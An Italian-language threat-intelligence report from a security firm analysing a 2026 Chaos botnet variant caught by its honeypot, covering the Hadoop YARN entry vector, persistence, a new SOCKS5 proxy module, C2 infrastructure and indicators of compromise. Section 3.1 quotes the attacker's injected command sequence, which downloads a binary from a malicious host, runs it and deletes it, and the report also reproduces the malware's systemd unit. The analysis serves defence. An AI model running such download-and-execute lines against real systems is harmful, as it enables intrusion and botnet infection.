Report IDNH-TR-2026-05-02-CHAOS
Data rilevamento28 Aprile 2026
Data analisi30 Aprile 2026
Lead InvestigatorMatteo Di Foggia
OrganizzazioneNerd Herd - Business Technology Solutions
ClassificazioneTLP:WHITE (Public)
SHA-256 (campione)ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a
Vettore iniziale
Hadoop YARN RCE
Tipologia
DDoS Botnet
Linguaggio
Go (64-bit ELF)
Persistenza
systemd + keepalive
C2 port
TCP 65111
Rilevamento
Honeypot NH

1. Executive Summary

Il 28 aprile 2026, l'honeypot proprietario Nerd Herd ha registrato un'intrusione automatizzata su un'istanza Hadoop volutamente mal configurata ed esposta a Internet, nell'ambito della nostra infrastruttura di monitoraggio. L'analisi del payload scaricato ha rivelato una variante aggiornata di Chaos, un malware scritto in Go documentato per la prima volta da Lumen's Black Lotus Labs e ritenuto di probabile origine cinese sulla base di artefatti linguistici presenti nel codice sorgente.

Rispetto alle versioni precedenti, il campione presenta modifiche strutturali significative: il namespace e' stato rinominato da main_chaos a main, le funzionalita' di diffusione via SSH e di sfruttamento delle CVE nei router sono state rimosse, ed e' stata introdotta una nuova capacita' di proxy SOCKS5, attivabile via comando C2 StartProxy. Questo aggiornamento trasforma Chaos da puro strumento DDoS a piattaforma di accesso proxy cedibile ad altri attori.

Le scoperte chiave di questa analisi sono quattro:

  1. Vettore Hadoop YARN confermato: l'attacco sfrutta la REST API di Hadoop Resource Manager per creare applicazioni malevole che eseguono comandi arbitrari sul cluster.
  2. Dropper monouso: il payload viene scaricato, eseguito e immediatamente cancellato dal disco per ostacolare l'analisi forense successiva alla compromissione.
  3. Proxy SOCKS5 integrato: la nuova funzione StartProxy permette all'attaccante di instradare traffico attraverso il server vittima, mascherando la propria origine e raggiungendo reti interne altrimenti inaccessibili.
  4. Correlazione infrastrutturale: il dominio usato per distribuire il payload, pan.tenire.com, e' stato precedentemente osservato in "Operation Silk Lure", una campagna che distribuisce il RAT ValleyRAT. La sovrapposizione suggerisce un attore comune o infrastruttura condivisa tra gruppi diversi.
Priorita' di intervento: chiunque esponga istanze Hadoop, Spark o framework di elaborazione distribuita su interfacce pubbliche, anche in ambienti cloud o di test, dovrebbe considerare questa campagna attiva. Il vettore YARN e' noto dal 2018 e continua ad essere sfruttato con successo perche' la configurazione di default non prevede alcuna autenticazione. Verificare immediatamente l'esposizione della porta 8088 (YARN ResourceManager REST API).

2. Contesto: Cos'e' Chaos Malware

Chaos e' un malware scritto in Go scoperto nel 2022 da Lumen's Black Lotus Labs, inizialmente classificato come successore del botnet Kaiji, con il quale condivide struttura del codice e metodologia di propagazione. L'attribuzione all'area cinese si basa su caratteri in lingua cinese presenti nelle stringhe del binario e indicatori di locale zh-CN rilevati durante l'analisi statica.

Nelle prime versioni documentate, Chaos si focalizzava su dispositivi di rete periferici (router, modem, dispositivi IoT) e si propagava principalmente tramite attacchi a forza bruta su SSH e sfruttamento di CVE note nel firmware. Il botnet risultante veniva utilizzato per campagne DDoS e, in misura minore, per cryptomining opportunistico.

La variante identificata nel nostro honeypot segna un cambio di direzione strategico: l'abbandono dei router in favore di server Linux cloud, infrastruttura di elaborazione dati distribuita e ambienti Kubernetes segnala una maturazione delle capacita' operative degli attori e un interesse crescente verso sistemi con maggiore banda di rete e potenza di calcolo.

Lineage confermato: Kaiji (2020) → Chaos v1 (2022, Black Lotus Labs) → Chaos v2 (2023-2024, campagne router) → Chaos v3 (2026, variante Linux server, campione analizzato in questo report). La progressione evolutiva mostra un team di sviluppo attivo con rilasci cadenzati.

3. Vettore di Attacco: Hadoop YARN Resource Manager

Apache Hadoop e' un framework open-source per l'elaborazione distribuita di grandi dataset su cluster di macchine. La componente YARN (Yet Another Resource Negotiator) gestisce l'allocazione delle risorse del cluster e, nella configurazione di default, espone una REST API non autenticata sulla porta 8088.

Il vettore di attacco sfrutta questa API per creare una nuova applicazione sul cluster. La richiesta malevola specifica, nel campo am-container-spec, una sequenza di comandi shell che vengono eseguiti direttamente sul nodo del cluster con i privilegi dell'utente che esegue il demone YARN, in genere un utente di sistema con ampi permessi sull'infrastruttura.

3.1 La Request di Infezione Iniziale

L'attaccante invia una richiesta HTTP POST all'endpoint YARN per la creazione di applicazioni, con il seguente payload nel campo dei comandi del container:

# Sequenza di comandi iniettata nel campo am-container-spec.commands.command $ curl -L -O http://pan.tenire.com/down.php/7c49006c2e417f20c732409ead2d6cc0 $ chmod 777 7c49006c2e417f20c732409ead2d6cc0 $ ./7c49006c2e417f20c732409ead2d6cc0 $ rm -rf 7c49006c2e417f20c732409ead2d6cc0

La sequenza segue lo schema classico dei dropper monouso: il binario viene scaricato, reso eseguibile, avviato e immediatamente rimosso dal filesystem. Al momento dell'esecuzione il processo e' gia' in memoria, quindi la cancellazione del file non ne interrompe l'esecuzione ma rende significativamente piu' difficile il recupero forense del campione dopo l'incidente.

3.2 Il Server di Distribuzione: pan.tenire.com

Il dominio pan.tenire.com risolve all'IP 107.189.10.219, un VPS allocato presso BuyVM, provider economico con sede in Lussemburgo, noto per politiche permissive nella gestione delle segnalazioni di abuso e per accettare pagamenti in criptovaluta. La scelta e' coerente con la necessita' di mantenere l'infrastruttura operativa anche in presenza di segnalazioni.

Correlazione con Operation Silk Lure: lo stesso dominio pan.tenire.com e' stato precedentemente associato a "Operation Silk Lure", una campagna attribuita ad attori cinesi che distribuisce il RAT ValleyRAT attraverso false offerte di lavoro allegate come CV malevoli. La condivisione dell'infrastruttura tra una campagna RAT e una campagna botnet DDoS suggerisce un attore comune o l'utilizzo di hosting tollerante agli abusi condiviso tra gruppi diversi.

4. Kill Chain: dalla Reconnaissance alla Persistenza

Reconnaissance & Scanning T1595
Lo scanner automatizzato identifica host con porta 8088/TCP esposta su Internet. L'attaccante (IP sorgente 182.90.229.95) testa la presenza dell'endpoint /ws/v1/cluster/apps/new-application per verificare l'assenza di autenticazione sulla REST API di YARN.
Initial Access: YARN RCE T1190
Invio di una POST HTTP all'endpoint YARN per la creazione di una nuova applicazione. Il payload nel campo am-container-spec.commands definisce una shell pipeline che scarica ed esegue il dropper Chaos dal server di distribuzione controllato dall'attaccante.
Download & Execution del Payload T1105
Il comando curl -L -O recupera il binario ELF 64-bit dal server pan.tenire.com. I permessi vengono impostati a 777 e il binario viene eseguito. Subito dopo l'avvio, rm -rf rimuove il file dal disco: il processo Chaos continua pero' a girare in memoria.
Persistenza: Systemd Service + Keepalive T1543.002
Il malware installa un servizio systemd che garantisce il riavvio automatico ad ogni crash. Parallelamente, scrive uno script di mantenimento in /boot/system.pub, un percorso insolito e difficile da monitorare con gli strumenti standard. La combinazione dei due meccanismi garantisce la sopravvivenza anche dopo reboot o terminazioni del processo.
C2 Check-in T1095
Il bot risolve il dominio C2 gmserver.osfc.org.cn e apre una connessione verso l'IP corrente del server di comando (70.39.181.70, Hong Kong) sulla porta TCP 65111. La comunicazione avviene con un protocollo custom non applicativo.
Attivazione Capacita': DDoS o SOCKS5 Proxy T1090 / T1498
In attesa di comandi C2, il bot puo' ricevere istruzioni per lanciare attacchi DDoS multi-protocollo (HTTP, TLS, TCP, UDP, WebSocket) o per attivare la nuova funzione StartProxy, che avvia un listener SOCKS5 su una porta controllata dall'attaccante, trasformando il server vittima in un nodo proxy anonimizzante.

5. Analisi del Campione: Struttura e Modifiche dalla Versione Precedente

5.1 Caratteristiche del Binario

Il campione analizzato e' un binario ELF a 64 bit compilato con il toolchain Go. La scelta di questo linguaggio offre agli attori tre vantaggi concreti: compilazione incrociata facilitata per architetture multiple (Linux x86-64, ARM, MIPS) da un unico codice sorgente, binario collegato staticamente che non richiede dipendenze sul sistema vittima, e offuscamento naturale del grafo delle chiamate rispetto a C/C++ compilato con simboli di debug.

# Informazioni binario estratte Architettura: ELF 64-bit LSB executable, x86-64 Linguaggio: Go (rilevato da sezione .gopclntab) Compilazione: Linking statico, stripped Namespace: main (versioni precedenti: main_chaos) Dimensione: ~6.8 MB Sezioni UPX: Non rilevate SHA-256: ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a

5.2 Confronto Funzionale con le Versioni Precedenti

L'analisi comparativa con campioni precedenti di Chaos rivela una ristrutturazione significativa del codice. Il cambio del namespace da main_chaos a main suggerisce una riscrittura profonda piuttosto che una semplice modifica superficiale. Diverse funzioni sono state aggiunte, rimosse o alterate nel comportamento.

Funzionalita' Versioni Precedenti Variante 2026 Note
DDoS HTTP/TLS/TCP/UDP Presente Presente Core feature invariata
DDoS WebSocket Presente Presente Core feature invariata
Persistenza systemd Presente Presente Logica parzialmente riscritta
Keepalive script /boot Presente Presente /boot/system.pub invariato
SSH Spreader Presente Rimossa Focus su server cloud, non propagazione laterale SSH
CVE Router Exploitation Presente Rimossa Shift verso target Linux x86-64
Funzioni ereditate da Kaiji Presenti (invariate) Riscritte Indica refactoring profondo, non patch superficiale
SOCKS5 Proxy (StartProxy) Assente NUOVA Principale novita' della variante 2026

5.3 Meccanismo di Persistenza

La persistenza viene stabilita attraverso due meccanismi complementari che si proteggono a vicenda. Il primo e' un'unita' systemd che il malware registra nel sistema di avvio, configurata per riavviarsi automaticamente in caso di crash o terminazione del processo. Il secondo e' uno script shell minimale scritto in /boot/system.pub, un percorso non convenzionale scelto perche' raramente monitorato dalle soluzioni di controllo dell'integrita' standard.

# Struttura del servizio systemd installato da Chaos [Unit] Description=System Network Service After=network.target [Service] Type=simple ExecStart=/boot/system.pub Restart=always RestartSec=5 [Install] WantedBy=multi-user.target

La combinazione e' efficace: anche se un amministratore identifica e termina il processo, il servizio systemd lo riavvia entro 5 secondi. Per rimuovere la persistenza in modo completo occorre disabilitare il servizio, rimuovere l'unita' da /etc/systemd/system/ e cancellare /boot/system.pub, operazioni che richiedono una ricerca attiva e non vengono intercettate dal semplice monitoraggio del processo.


6. Nuova Funzionalita': SOCKS5 Proxy Integrato

La novita' piu' significativa della variante 2026 di Chaos e' l'introduzione di un modulo proxy SOCKS5 attivabile via comando C2. Quando il bot riceve il comando StartProxy dal server di comando e controllo, inizia ad ascoltare su una porta TCP specificata dall'attaccante e inoltro tutto il traffico che gli viene indirizzato, comportandosi a tutti gli effetti come un nodo proxy.

Nota tecnica sull'endianness: la stringa del comando C2 StartProxy appare invertita nel binario analizzato a causa del byte order (endianness) dell'architettura x86-64 little-endian in cui sono memorizzate le costanti stringa Go. Questo e' un pattern normale nell'analisi di binari Go, non una tecnica di offuscamento deliberata.

6.1 Architettura del Proxy

La funzione SOCKS5 trasforma il server compromesso in un nodo di inoltro. Dal punto di vista dell'attaccante, questo offre due vantaggi operativi distinti: mascherare la propria origine (il traffico verso sistemi esterni appare provenire dall'IP della vittima) e raggiungere reti interne normalmente inaccessibili da Internet, cioe' segmenti privati raggiungibili solo dall'host compromesso.

SOCKS5 PROXY FLOW -- ATTIVATO DA COMANDO C2 StartProxy
Threat Actor
Origine reale
C2 Server
gmserver.osfc.org.cn
:65111
Comando StartProxy
Host Compromesso
Server vittima
Hadoop cluster
SOCKS5 listener attivo
TRAFFICO INSTRADATO DAL THREAT ACTOR TRAMITE IL PROXY
Target Esterni
DDoS, scanning
IP apparente: vittima
Reti Interne
Pivot su segmenti
non raggiungibili

6.2 Implicazioni per la Difesa

L'aggiunta del modulo SOCKS5 altera radicalmente il profilo di rischio di una compromissione Chaos. Un server infettato non e' piu' soltanto un nodo DDoS: diventa un punto di inoltro anonimizzante utilizzabile per campagne di phishing, attacchi a sistemi terzi, frode pubblicitaria o come punto di accesso per movimenti laterali su reti interne. Questo amplia il potenziale danno reputazionale per l'organizzazione colpita, il cui IP potrebbe comparire in blocklist come sorgente di attacchi, e complica la gestione dell'incidente, che deve ora includere l'analisi di tutto il traffico transitato attraverso il server durante il periodo di compromissione.

Si tratta di una tendenza gia' osservata in altri botnet come Aisuru, che ha aggiunto funzionalita' proxy analoghe come servizio cedibile ad altri attori criminali. L'integrazione di questi moduli suggerisce un modello economico ibrido: gli operatori monetizzano sia attraverso attacchi DDoS a richiesta sia attraverso l'affitto dei nodi proxy.


7. Infrastruttura C2 e Distribuzione

Threat Actor
Origine (probabile area cinese)
zh-CN locale, caratteri cinesi nel codice
↓   ↓   ↓
Gestione & Distribuzione payload
pan.tenire.com
IP: 107.189.10.219
Provider: BuyVM, Lussemburgo
Server di distribuzione payload. Correlato a
Operation Silk Lure / ValleyRAT RAT.
↓   ↓   ↓
Download payload → esecuzione → check-in C2
gmserver.osfc.org.cn
IP attuale: 70.39.181.70
Porta C2: TCP 65111
Provider: NetLabel Global, Hong Kong.
IP storico: 154.26.209.250 (Kurun Cloud).
↓   ↓   ↓
Bot in ascolto comandi
Server Vittima 1
Hadoop YARN
Bot Chaos attivo
Server Vittima 2
Linux Cloud
Bot Chaos attivo
Server Vittima N
...
Bot Chaos attivo

Il dominio C2 gmserver.osfc.org.cn utilizza un TLD cinese (.cn) con un secondo livello (org) che imita domini di organizzazioni legittime. La scelta di NetLabel Global con geolocalizzazione Hong Kong, combinata con Kurun Cloud per l'IP storico, rientra nello schema consolidato di utilizzo di infrastruttura cloud asiatica economica per operazioni C2, dove i tempi di risposta alle segnalazioni di abuso sono storicamente piu' lunghi rispetto ai provider europei o nordamericani.

Al momento della redazione di questo report, nessuno dei due IP C2 (70.39.181.70 e 154.26.209.250) risponde sulla porta 65111, segno che il server C2 e' temporaneamente offline o in fase di migrazione verso nuova infrastruttura, pratica comune tra gli operatori di botnet per sfuggire ai blocchi basati su IP.


8. Correlazione con Operation Silk Lure e ValleyRAT

Un elemento di particolare interesse investigativo e' la sovrapposizione infrastrutturale tra questa campagna Chaos e "Operation Silk Lure", una campagna precedentemente documentata che distribuisce ValleyRAT, un Remote Access Trojan attribuito ad attori cinesi.

In entrambe le campagne e' stato osservato il medesimo server di distribuzione: pan.tenire.com (107.189.10.219). In Operation Silk Lure, questo dominio ospitava CV malevoli in formato Office che, una volta aperti, eseguivano un dropper per ValleyRAT. Nella campagna Chaos, lo stesso server serve il binario ELF destinato ai cluster Hadoop.

Cautela nell'attribuzione: la condivisione di un server di distribuzione non e' di per se' sufficiente a stabilire che i due gruppi operativi siano lo stesso attore. L'hosting tollerante agli abusi permette a gruppi diversi di condividere la stessa infrastruttura: la sovrapposizione puo' indicare un fornitore comune piuttosto che una identita' di gruppo. Ulteriori correlazioni (sovrapposizione di TTP, tempistica degli attacchi, analisi del codice) sarebbero necessarie per una attribuzione piu' solida.

Indipendentemente dall'interpretazione dell'overlap, la correlazione ha valore operativo concreto: un blocco DNS/firewall sul dominio pan.tenire.com e sull'IP 107.189.10.219 offre protezione sia contro i dropper Chaos sia contro i payload ValleyRAT di Operation Silk Lure.


9. Mapping MITRE ATT&CK (Enterprise v14, Linux)

Tattica Tecnica ID Osservazione
Reconnaissance Active Scanning: Scanning IP Blocks T1595.001 Scansione massiva porta 8088/TCP per identificare istanze YARN esposte
Initial Access Exploit Public-Facing Application T1190 Exploitation Hadoop YARN REST API non autenticata per RCE sul cluster
Execution Command and Scripting Interpreter: Unix Shell T1059.004 Esecuzione della shell pipeline nel campo am-container-spec.commands
Execution Ingress Tool Transfer T1105 Download del binario Chaos via curl -L -O da server controllato dall'attaccante
Persistence Create or Modify System Process: Systemd Service T1543.002 Installazione di un servizio systemd con Restart=always per garantire riavvio automatico
Defense Evasion File and Directory Permissions Modification: Linux T1222.002 chmod 777 applicato al binario scaricato prima dell'esecuzione
Defense Evasion Indicator Removal: File Deletion T1070.004 rm -rf sul binario subito dopo l'avvio, ostacola recovery forense del campione
C&C Non-Application Layer Protocol T1095 Protocollo custom su TCP 65111 verso gmserver.osfc.org.cn
C&C Proxy: Internal Proxy T1090.001 SOCKS5 proxy attivato da comando C2 StartProxy, instrada traffico attaccante attraverso la vittima
Impact Network Denial of Service T1498 Funzioni DDoS multi-protocollo: HTTP, TLS, TCP, UDP, WebSocket, attivabili on-demand via C2

10. Indicatori di Compromissione (IoC)

I seguenti indicatori sono stati estratti dall'analisi del campione e delle infrastrutture associate. Sono classificati TLP:WHITE e possono essere distribuiti liberamente per aggiornare rule SIEM, blocklist firewall, feed threat intelligence e sistemi EDR.

Tipo Valore Contesto
SHA-256 ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a Hash binario ELF Chaos catturato
IP 182.90.229.95 IP attaccante, sorgente della richiesta YARN malevola
Dominio pan.tenire.com Server di distribuzione del payload Chaos
IP 107.189.10.219 Risoluzione di pan.tenire.com (BuyVM, Lussemburgo)
Dominio C2 gmserver.osfc.org.cn Dominio C2 Chaos, risolve a IP in Hong Kong
IP C2 70.39.181.70 IP corrente C2 (NetLabel Global, Hong Kong)
IP C2 154.26.209.250 IP storico C2 (Kurun Cloud)
Porta C2 TCP/65111 Porta comunicazione C2 Chaos
Path /boot/system.pub Script keepalive persistenza scritto da Chaos
Servizio systemd unit "System Network Service" Nome servizio systemd installato da Chaos per persistenza
Endpoint :8088/ws/v1/cluster/apps Endpoint YARN REST API sfruttato per RCE iniziale

11. Remediation e Misure di Contenimento


12. Conclusioni e Osservazioni Strategiche

I botnet evolvono verso piattaforme multi-servizio
L'aggiunta del modulo SOCKS5 a Chaos riflette una tendenza piu' ampia: la transizione da strumenti monouso (solo DDoS, solo mining) a piattaforme multi-servizio cedibili a diversi acquirenti. Questo aumenta la redditivita' per gli operatori e amplia il profilo di minaccia per le organizzazioni colpite ben oltre il danno inizialmente osservabile.
Hadoop e big data: superfici di attacco sottovalutate
Il vettore Hadoop YARN e' documentato e sfruttato da almeno il 2018, eppure continua a produrre compromissioni nel 2026. La ragione e' sistemica: i team che gestiscono infrastruttura Hadoop appartengono spesso a funzioni di data engineering o data science con limitata cultura della sicurezza IT, mentre i team di sicurezza raramente hanno visibilita' su questo livello dell'infrastruttura. Il risultato e' una superficie di attacco persistente e ampiamente ignorata.
La correlazione infrastrutturale come strumento di difesa
La sovrapposizione tra l'infrastruttura Chaos e quella di Operation Silk Lure dimostra che bloccare un singolo indicatore puo' offrire protezione contro campagne apparentemente diverse. Investire in threat intelligence con correlazione infrastrutturale, non solo hash e IP isolati, moltiplica l'efficacia delle difese perche' sfrutta la tendenza degli attori a riutilizzare la stessa infrastruttura tra campagne diverse.
Il dropper monouso come tecnica di evasione forense
Lo schema scarica-esegui-cancella e' ormai consolidato tra gli attori piu' sofisticati. L'unica contromisura efficace e' il rilevamento comportamentale in tempo reale: un sistema che monitora solo i file presenti su disco non vedra' mai il binario Chaos, perche' al momento del rilevamento e' gia' stato cancellato. Soluzioni EDR con ispezione della memoria e monitoraggio delle chiamate di sistema sono il minimo necessario per rilevare questa classe di minacce.

Note metodologiche: L'analisi si basa su un campione catturato dall'honeypot proprietario Nerd Herd il 28 aprile 2026, con analisi completata il 30 aprile 2026. I dati sull'infrastruttura C2 sono stati verificati tramite query DNS e WHOIS al momento della redazione; la situazione potrebbe variare in seguito a rotazione dell'infrastruttura da parte degli attori. Gli IoC sono distribuiti in formato TLP:WHITE. Per richiedere una sessione di threat briefing, scrivere a info@nerdherd.it.